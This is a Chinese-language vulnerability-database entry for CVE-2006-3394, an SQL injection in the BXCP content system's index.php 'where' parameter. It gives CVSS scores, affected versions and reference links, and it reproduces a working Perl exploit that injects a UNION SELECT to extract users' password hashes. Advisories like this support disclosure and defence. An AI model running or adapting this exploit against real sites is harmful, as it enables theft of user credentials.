CVE-2006-3394
CVSS7.5
发布时间 :2006-07-06 16:05:00
修订时间 :2011-03-07 21:38:31
NMCOE    

[原文]SQL injection vulnerability in the files mod in index.php in BXCP 0.3.0.4 allows remote attackers to execute arbitrary SQL commands via the where parameter in a view action.


[CNNVD]BXCP 'Index.PHP' SQL注入漏洞(CNNVD-200607-094)

        BXCP 0.3.0.4中的index.php的文件mod存在SQL注入漏洞。远程攻击者可以借助view操作中的where参数,执行任意SQL指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:bxcp:bxcp:0.3
cpe:/a:bxcp:bxcp:0.2.9.7

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3394
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3394
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-094
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/20908
(VENDOR_ADVISORY)  SECUNIA  20908
http://xforce.iss.net/xforce/xfdb/27496
(UNKNOWN)  XF  bxcp-index-sql-injection(27496)
http://www.vupen.com/english/advisories/2006/2630
(UNKNOWN)  VUPEN  ADV-2006-2630
http://www.securityfocus.com/bid/18765
(UNKNOWN)  BID  18765
http://www.osvdb.org/26938
(UNKNOWN)  OSVDB  26938
http://milw0rm.com/exploits/1975
(UNKNOWN)  MILW0RM  1975

- 漏洞信息

BXCP 'Index.PHP' SQL注入漏洞
高危 SQL注入
2006-07-06 00:00:00 2006-07-21 00:00:00
远程  
        BXCP 0.3.0.4中的index.php的文件mod存在SQL注入漏洞。远程攻击者可以借助view操作中的where参数,执行任意SQL指令。

- 公告与补丁

        暂无数据

- 漏洞信息 (1975)

BXCP <= 0.3.0.4 (where) Remote SQL Injection Exploit (EDBID:1975)
php webapps
2006-07-02 Verified
0 x23
N/A [点击下载]
#!/usr/bin/perl

use IO::Socket;

print q{
-------------------------------------------------------------------------------------
BXCP exploit by x23 ~ curse-crew.de ~ geekbar.cx.la ~ geeknet.uttx.net
use: bxcp.pl [server] [dir] [id]
sample:
$ perl bxcp.pl bxcp.com / 1
~ connecting
~ exploiting
~ hash: *censored* ;D
-------------------------------------------------------------------------------------

};

$webpage =   $ARGV[0];
$directory = $ARGV[1];
$vic_id =    $ARGV[2];

if (!$vic_id) { die "~ read how to use ;)\n"; }

$get = "http://".$webpage.$directory."index.php?mod=files&action=view&where=-1+UNION+";
$get .= "SELECT+users_nick,0,users_pwd,0,0,0,0,0,0,0,0,0,0,0,0+FROM+{pre}_users+WHERE+users_id=";
$get .= $vic_id;

print "~ connecting\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "~ exploiting\n";
print $sock "GET $get HTTP/1.1\n";
print $sock "Host: $webpage\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
  #print $answer;
  if ($answer =~ /([0-9a-f]{32})\n/) {
     print "~ hash: $1\n";
     break;
  }
}

close($sock);

# milw0rm.com [2006-07-02]
		

- 漏洞信息

26938
BXCP index.php where Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

BXCP contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php script not properly sanitizing user-supplied input to the 'where' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-07-02 Unknow
2006-07-02 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站